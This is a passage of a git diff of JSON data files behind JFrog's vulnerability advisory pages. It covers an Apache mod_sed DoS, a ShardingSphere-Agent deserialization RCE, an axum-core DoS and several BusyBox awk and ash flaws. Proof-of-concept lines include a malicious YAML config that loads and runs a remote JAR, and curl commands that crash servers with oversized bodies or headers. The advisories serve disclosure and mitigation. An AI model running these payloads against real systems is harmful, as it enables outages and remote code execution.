JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
Summary
\nVery large input data may cause Apache's mod_sed filter to abort, resulting in a denial of service\n
\nComponent
\nApache's mod_sed filter module\n
\nAffected versions
\nApache (, 2.4.53], fixed in 2.4.54\n
\nDescription
\nThe Apache HTTP Server is the most popular web server in the world. One of its main features is the possibility to use filter modules for various purposes.
\nOne such module, mod_sed, provides the webmaster the same possibilities offered by GNU's stream editor, sed. This module can be installed as an InputFilter or as an OutputFilter if someone wishes to edit requests or responses before they're processed by the server, or before being sent back to the client.
A bug found in mod_sed's buffer manipulation logic may cause to the abort of the process handling the HTTP request. This occurs when the mod_sed module is required to to handle inputs larger than 2GB of data.
An Apache deployment is vulnerable to remote exploitation if -
\n- \n
- \n
The server enables
\nmod_sedinhttpd.conf-
\nLoadModule sed_module /usr/lib/apache2/modules/mod_sed.so\n\n - \n
The server configures
\nmod_sedto perform any kind of processing on incoming requests, by usingAddInputFilter. For example -
\n<Directory />\n AllowOverride none\n Require all denied\n AddInputFilter Sed html\n InputSed \"s/\\(.)/Z/g\"\n</Directory>\n\n
\t\t(note that the vulnerability can be triggered for any InputSed patterm)
PoC
\npython -c 'print(\"A\")*(2*2**30)' | curl -X POST -d@- http://host\n
Vulnerability Mitigations
\nThe LimitRequestBody configuration directive can be used to limit POST requests' sizes. We recommend setting the limit to 1GB of data or less in httpd.conf: LimitRequestBody 1073741824\n
References
\n\n(JFrog) CVE-2022-30522 – Denial of Service (DoS) Vulnerability in Apache httpd “mod_sed” filter
\n","description":"CVE-2022-30522 Medium severity. Very large input data to Apache's mod_sed filter module leads to denial of service","date_published":"2022-06-09","xray_id":"XRAY-228464","vul_id":"CVE-2022-30522","severity":"medium","discovered_by":"Brian Moussalli","last_updated":"2022-06-09","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Apache httpd mod_sed DoS","path":"/vulnerabilities/apache-httpd-mod-sed-dos-xray-228464/","content":"Summary
\nVery large input data may cause Apache's mod_sed filter to abort, resulting in a denial of service\n
\nComponent
\nApache's mod_sed filter module\n
\nAffected versions
\nApache (, 2.4.53], fixed in 2.4.54\n
\nDescription
\nThe Apache HTTP Server is the most popular web server in the world. One of its main features is the possibility to use filter modules for various purposes.
\nOne such module, mod_sed, provides the webmaster the same possibilities offered by GNU's stream editor, sed. This module can be installed as an InputFilter or as an OutputFilter if someone wishes to edit requests or responses before they're processed by the server, or before being sent back to the client.
A bug found in mod_sed's buffer manipulation logic may cause to the abort of the process handling the HTTP request. This occurs when the mod_sed module is required to to handle inputs larger than 2GB of data.
An Apache deployment is vulnerable to remote exploitation if -
\n- \n
- \n
The server enables
\nmod_sedinhttpd.conf-
\nLoadModule sed_module /usr/lib/apache2/modules/mod_sed.so\n\n - \n
The server configures
\nmod_sedto perform any kind of processing on incoming requests, by usingAddInputFilter. For example -
\n<Directory />\n AllowOverride none\n Require all denied\n AddInputFilter Sed html\n InputSed \"s/\\(.)/Z/g\"\n</Directory>\n\n
\t\t(note that the vulnerability can be triggered for any InputSed patterm)
PoC
\npython -c 'print(\"A\")*(2*2**30)' | curl -X POST -d@- http://host\n
Vulnerability Mitigations
\nThe LimitRequestBody configuration directive can be used to limit POST requests' sizes. We recommend setting the limit to 1GB of data or less in httpd.conf: LimitRequestBody 1073741824\n
References
\n\n(JFrog) CVE-2022-30522 – Denial of Service (DoS) Vulnerability in Apache httpd “mod_sed” filter
\n","description":"CVE-2022-30522 Medium severity. Very large input data to Apache's mod_sed filter module leads to denial of service","date_published":"2022-06-09","xray_id":"XRAY-228464","vul_id":"CVE-2022-30522","severity":"medium","discovered_by":"Brian Moussalli","last_updated":"2022-06-09","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/apache-sharding-sphere-agent-deserialization-rce-xray-526292/index.json b/assets/data/vulnerabilities/apache-sharding-sphere-agent-deserialization-rce-xray-526292/index.json index 0e483940cd..4f99be3350 100644 --- a/assets/data/vulnerabilities/apache-sharding-sphere-agent-deserialization-rce-xray-526292/index.json +++ b/assets/data/vulnerabilities/apache-sharding-sphere-agent-deserialization-rce-xray-526292/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Apache ShardingSphere-Agent Deserialization RCE","path":"/vulnerabilities/apache-sharding-sphere-agent-deserialization-rce-xray-526292/","content":"Summary
\nApache ShardingSphere-Agent Deserialization RCE
\nComponent
\norg.apache.shardingsphere:shardingsphere
\nAffected versions
\n(,5.4.0)
\nDescription
\nDeserialization of Untrusted Data vulnerability in Apache ShardingSphere-Agent, which allows attackers to execute arbitrary code by constructing a special YAML configuration file.
\nThe attacker needs to have permission to modify the ShardingSphere Agent YAML configuration file on the target machine, and the target machine can access the URL with the arbitrary code JAR.\nAn attacker can use SnakeYAML to deserialize java.net.URLClassLoader and make it load a JAR from a specified URL, and then deserialize javax.script.ScriptEngineManager to load code using that ClassLoader. When the ShardingSphere JVM process starts and uses the ShardingSphere-Agent, the arbitrary code specified by the attacker will be executed during the deserialization of the YAML configuration file by the Agent.
\nThis issue affects ShardingSphere-Agent: through 5.3.2. This vulnerability is fixed in Apache ShardingSphere 5.4.0.
\nPoC
\nMalicious ShardingSphere YAML configuration that will load an arbitrary remote JAR file -
\nplugins:\n logging:\n BaseLogging:\n props:\n level: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:7070/yaml-payload.jar\"]]]]\n metrics:\n Prometheus:\n host: \"localhost\"\n port: 9090\n props:\n jvm-information-collector-enabled: \"true\"\n tracing:\n Zipkin:\n host: \"localhost\"\n port: 9411\n props:\n service-name: \"shardingsphere\"\n url-version: \"/api/v2/spans\"\n sampler-type: \"const\"\n sampler-param: \"1\"\n OpenTelemetry:\n props:\n otel-resource-attributes: \"service.name=shardingsphere\"\n otel-traces-exporter: \"zipkin\"\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\nhttp://www.openwall.com/lists/oss-security/2023/07/19/3
\nhttps://lists.apache.org/thread/p8onhqox5kkwow9lc6gs03z28wtyp1cg
\n","description":"CVE-2023-28754, High, Apache ShardingSphere-Agent Deserialization RCE","date_published":"2023-07-23","xray_id":"XRAY-526292","vul_id":"CVE-2023-28754","severity":"high","discovered_by":"Liav Gutman","last_updated":"2023-07-23","cvss":8.1}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Apache ShardingSphere-Agent Deserialization RCE","path":"/vulnerabilities/apache-sharding-sphere-agent-deserialization-rce-xray-526292/","content":"Summary
\nApache ShardingSphere-Agent Deserialization RCE
\nComponent
\norg.apache.shardingsphere:shardingsphere
\nAffected versions
\n(,5.4.0)
\nDescription
\nDeserialization of Untrusted Data vulnerability in Apache ShardingSphere-Agent, which allows attackers to execute arbitrary code by constructing a special YAML configuration file.
\nThe attacker needs to have permission to modify the ShardingSphere Agent YAML configuration file on the target machine, and the target machine can access the URL with the arbitrary code JAR.\nAn attacker can use SnakeYAML to deserialize java.net.URLClassLoader and make it load a JAR from a specified URL, and then deserialize javax.script.ScriptEngineManager to load code using that ClassLoader. When the ShardingSphere JVM process starts and uses the ShardingSphere-Agent, the arbitrary code specified by the attacker will be executed during the deserialization of the YAML configuration file by the Agent.
\nThis issue affects ShardingSphere-Agent: through 5.3.2. This vulnerability is fixed in Apache ShardingSphere 5.4.0.
\nPoC
\nMalicious ShardingSphere YAML configuration that will load an arbitrary remote JAR file -
\nplugins:\n logging:\n BaseLogging:\n props:\n level: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:7070/yaml-payload.jar\"]]]]\n metrics:\n Prometheus:\n host: \"localhost\"\n port: 9090\n props:\n jvm-information-collector-enabled: \"true\"\n tracing:\n Zipkin:\n host: \"localhost\"\n port: 9411\n props:\n service-name: \"shardingsphere\"\n url-version: \"/api/v2/spans\"\n sampler-type: \"const\"\n sampler-param: \"1\"\n OpenTelemetry:\n props:\n otel-resource-attributes: \"service.name=shardingsphere\"\n otel-traces-exporter: \"zipkin\"\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\nhttp://www.openwall.com/lists/oss-security/2023/07/19/3
\nhttps://lists.apache.org/thread/p8onhqox5kkwow9lc6gs03z28wtyp1cg
\n","description":"CVE-2023-28754, High, Apache ShardingSphere-Agent Deserialization RCE","date_published":"2023-07-23","xray_id":"XRAY-526292","vul_id":"CVE-2023-28754","severity":"high","discovered_by":"Liav Gutman","last_updated":"2023-07-23","cvss":8.1}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/axum-core-dos/index.json b/assets/data/vulnerabilities/axum-core-dos/index.json index d31a3c4df3..42c93d0e06 100644 --- a/assets/data/vulnerabilities/axum-core-dos/index.json +++ b/assets/data/vulnerabilities/axum-core-dos/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"axum-core missing request size limit DoS","path":"/vulnerabilities/axum-core-dos/","content":"Summary
\nA missing request size limit for HTTP requests in axum-core can allow network attackers to perform denial of service
\nComponent
\n\nAffected versions
\naxum-core (, 0.2.7], fixed in 0.2.8
\naxum-core (, 0.3.0-rc.1], fixed in 0.3.0-rc.2
\nDescription
\n<bytes::Bytes as axum_core::extract::FromRequest>::from_request would not, by default, set a limit for the size of the request body. That meant if a malicious peer would send a request with a very large Content-Length header (even if the body itself is not very large), the Rust allocator would panic (due to a failed allocation) and the process would crash.
This also applies to these extractors which used Bytes::from_request internally:
- \n
axum::extract::Form\naxum::extract::Json\nString\n
PoC
\ngit clone https://github.com/tokio-rs/axum\n\ncd axum/examples && cargo run -p example-readme\n\ncurl -v -X POST \"http://127.0.0.1:3000/users\" -H \"Content-Type: application/json\" \\\n--data `python3 -c \"import sys; sys.stdout.write('a'*10000)\"` -H \"Content-Length: 11111111111111111111\"\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading axum-core to version 0.2.8
\nThe fixed axum version is 0.5.16
\nReferences
\n\n","description":"CVE-2022-3212 High severity. Missing limit checks in axum-core leads to denial of service","date_published":"2022-08-31","xray_id":"","vul_id":"CVE-2022-3212","severity":"high","discovered_by":"Ori Hollander","last_updated":"2022-08-31","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"axum-core missing request size limit DoS","path":"/vulnerabilities/axum-core-dos/","content":"Summary
\nA missing request size limit for HTTP requests in axum-core can allow network attackers to perform denial of service
\nComponent
\n\nAffected versions
\naxum-core (, 0.2.7], fixed in 0.2.8
\naxum-core (, 0.3.0-rc.1], fixed in 0.3.0-rc.2
\nDescription
\n<bytes::Bytes as axum_core::extract::FromRequest>::from_request would not, by default, set a limit for the size of the request body. That meant if a malicious peer would send a request with a very large Content-Length header (even if the body itself is not very large), the Rust allocator would panic (due to a failed allocation) and the process would crash.
This also applies to these extractors which used Bytes::from_request internally:
- \n
axum::extract::Form\naxum::extract::Json\nString\n
PoC
\ngit clone https://github.com/tokio-rs/axum\n\ncd axum/examples && cargo run -p example-readme\n\ncurl -v -X POST \"http://127.0.0.1:3000/users\" -H \"Content-Type: application/json\" \\\n--data `python3 -c \"import sys; sys.stdout.write('a'*10000)\"` -H \"Content-Length: 11111111111111111111\"\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading axum-core to version 0.2.8
\nThe fixed axum version is 0.5.16
\nReferences
\n\n","description":"CVE-2022-3212 High severity. Missing limit checks in axum-core leads to denial of service","date_published":"2022-08-31","xray_id":"","vul_id":"CVE-2022-3212","severity":"high","discovered_by":"Ori Hollander","last_updated":"2022-08-31","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/busybox-ash-dos-xray-189473/index.json b/assets/data/vulnerabilities/busybox-ash-dos-xray-189473/index.json index 41f967d4f9..0c9386ab77 100644 --- a/assets/data/vulnerabilities/busybox-ash-dos-xray-189473/index.json +++ b/assets/data/vulnerabilities/busybox-ash-dos-xray-189473/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"BusyBox ash DoS","path":"/vulnerabilities/busybox-ash-dos-xray-189473/","content":"Summary
\nAn incorrect handling of a special element in Busybox ash leads to denial of service when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nAn incorrect handling of a special element in ash leads to denial of service when processing a crafted shell command, due to the shell mistaking specific characters for reserved characters. This may be used for DoS under rare conditions of filtered command input.\nAn attacker that controls ash command line arguments can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42375 Medium severity. An incorrect handling of a special element in Busybox ash leads to denial of service when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189473","vul_id":"CVE-2021-42375","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":5.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"BusyBox ash DoS","path":"/vulnerabilities/busybox-ash-dos-xray-189473/","content":"Summary
\nAn incorrect handling of a special element in Busybox ash leads to denial of service when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nAn incorrect handling of a special element in ash leads to denial of service when processing a crafted shell command, due to the shell mistaking specific characters for reserved characters. This may be used for DoS under rare conditions of filtered command input.\nAn attacker that controls ash command line arguments can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42375 Medium severity. An incorrect handling of a special element in Busybox ash leads to denial of service when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189473","vul_id":"CVE-2021-42375","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":5.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/busybox-awk-clrvar-uaf-xray-189477/index.json b/assets/data/vulnerabilities/busybox-awk-clrvar-uaf-xray-189477/index.json index c0068e44bd..c7fc566783 100644 --- a/assets/data/vulnerabilities/busybox-awk-clrvar-uaf-xray-189477/index.json +++ b/assets/data/vulnerabilities/busybox-awk-clrvar-uaf-xray-189477/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"BusyBox awk clrvar UaF","path":"/vulnerabilities/busybox-awk-clrvar-uaf-xray-189477/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the clrvar function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42380 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189477","vul_id":"CVE-2021-42380","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":7.2}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"BusyBox awk clrvar UaF","path":"/vulnerabilities/busybox-awk-clrvar-uaf-xray-189477/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the clrvar function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42380 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189477","vul_id":"CVE-2021-42380","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":7.2}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/busybox-awk-evaluate-uaf-xray-189480/index.json b/assets/data/vulnerabilities/busybox-awk-evaluate-uaf-xray-189480/index.json index c49e9bb852..54f2f5c046 100644 --- a/assets/data/vulnerabilities/busybox-awk-evaluate-uaf-xray-189480/index.json +++ b/assets/data/vulnerabilities/busybox-awk-evaluate-uaf-xray-189480/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"BusyBox awk evaluate UaF","path":"/vulnerabilities/busybox-awk-evaluate-uaf-xray-189480/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the evaluate function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42383 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189480","vul_id":"CVE-2021-42383","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":7.2}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"BusyBox awk evaluate UaF","path":"/vulnerabilities/busybox-awk-evaluate-uaf-xray-189480/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the evaluate function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42383 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189480","vul_id":"CVE-2021-42383","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":7.2}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/busybox-awk-evaluate-uaf-xray-189482/index.json b/assets/data/vulnerabilities/busybox-awk-evaluate-uaf-xray-189482/index.json index 79591da505..51ffec2560 100644 --- a/assets/data/vulnerabilities/busybox-awk-evaluate-uaf-xray-189482/index.json +++ b/assets/data/vulnerabilities/busybox-awk-evaluate-uaf-xray-189482/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"BusyBox awk evaluate UaF","path":"/vulnerabilities/busybox-awk-evaluate-uaf-xray-189482/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the evaluate function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42385 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189482","vul_id":"CVE-2021-42385","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":7.2}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"BusyBox awk evaluate UaF","path":"/vulnerabilities/busybox-awk-evaluate-uaf-xray-189482/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the evaluate function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42385 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189482","vul_id":"CVE-2021-42385","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":7.2}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/busybox-awk-getvar-i-uaf-xray-189475/index.json b/assets/data/vulnerabilities/busybox-awk-getvar-i-uaf-xray-189475/index.json index 8377af9b02..b8e8297c18 100644 --- a/assets/data/vulnerabilities/busybox-awk-getvar-i-uaf-xray-189475/index.json +++ b/assets/data/vulnerabilities/busybox-awk-getvar-i-uaf-xray-189475/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"BusyBox awk getvar_i UaF","path":"/vulnerabilities/busybox-awk-getvar-i-uaf-xray-189475/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the getvar_i function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42378 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-10-09","xray_id":"XRAY-189475","vul_id":"CVE-2021-42378","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-10-09","cvss":7.2}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"BusyBox awk getvar_i UaF","path":"/vulnerabilities/busybox-awk-getvar-i-uaf-xray-189475/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the getvar_i function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42378 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-10-09","xray_id":"XRAY-189475","vul_id":"CVE-2021-42378","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-10-09","cvss":7.2}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/busybox-awk-getvar-s-uaf-xray-189479/index.json b/assets/data/vulnerabilities/busybox-awk-getvar-s-uaf-xray-189479/index.json index dfefd7698c..15136b89eb 100644 --- a/assets/data/vulnerabilities/busybox-awk-getvar-s-uaf-xray-189479/index.json +++ b/assets/data/vulnerabilities/busybox-awk-getvar-s-uaf-xray-189479/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"BusyBox awk getvar_s UaF","path":"/vulnerabilities/busybox-awk-getvar-s-uaf-xray-189479/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the getvar_s function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42382 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189479","vul_id":"CVE-2021-42382","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":7.2}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"BusyBox awk getvar_s UaF","path":"/vulnerabilities/busybox-awk-getvar-s-uaf-xray-189479/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
\nA use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the getvar_s function.\nAn attacker that controls the awk pattern (through the command line argument) can trigger this issue.
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog
\n\n","description":"CVE-2021-42382 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments","date_published":"2021-11-09","xray_id":"XRAY-189479","vul_id":"CVE-2021-42382","severity":"medium","discovered_by":"JFrog Collab","last_updated":"2021-11-09","cvss":7.2}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/busybox-awk-handle-special-uaf-xray-189481/index.json b/assets/data/vulnerabilities/busybox-awk-handle-special-uaf-xray-189481/index.json index 8254739b1f..27268c2e8a 100644 --- a/assets/data/vulnerabilities/busybox-awk-handle-special-uaf-xray-189481/index.json +++ b/assets/data/vulnerabilities/busybox-awk-handle-special-uaf-xray-189481/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"BusyBox awk handle_special UaF","path":"/vulnerabilities/busybox-awk-handle-special-uaf-xray-189481/","content":"Summary
\nA use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments
\nComponent
\n\nAffected versions
\nBusyBox [1.33.0, 1.33.1], fixed in 1.34.0
\nDescription
\nThe BusyBox toolkit implements a large number of Linux tools in a single executable and can even replace the Linux init system. Its small size and flexibility make it popular in embedded devices.
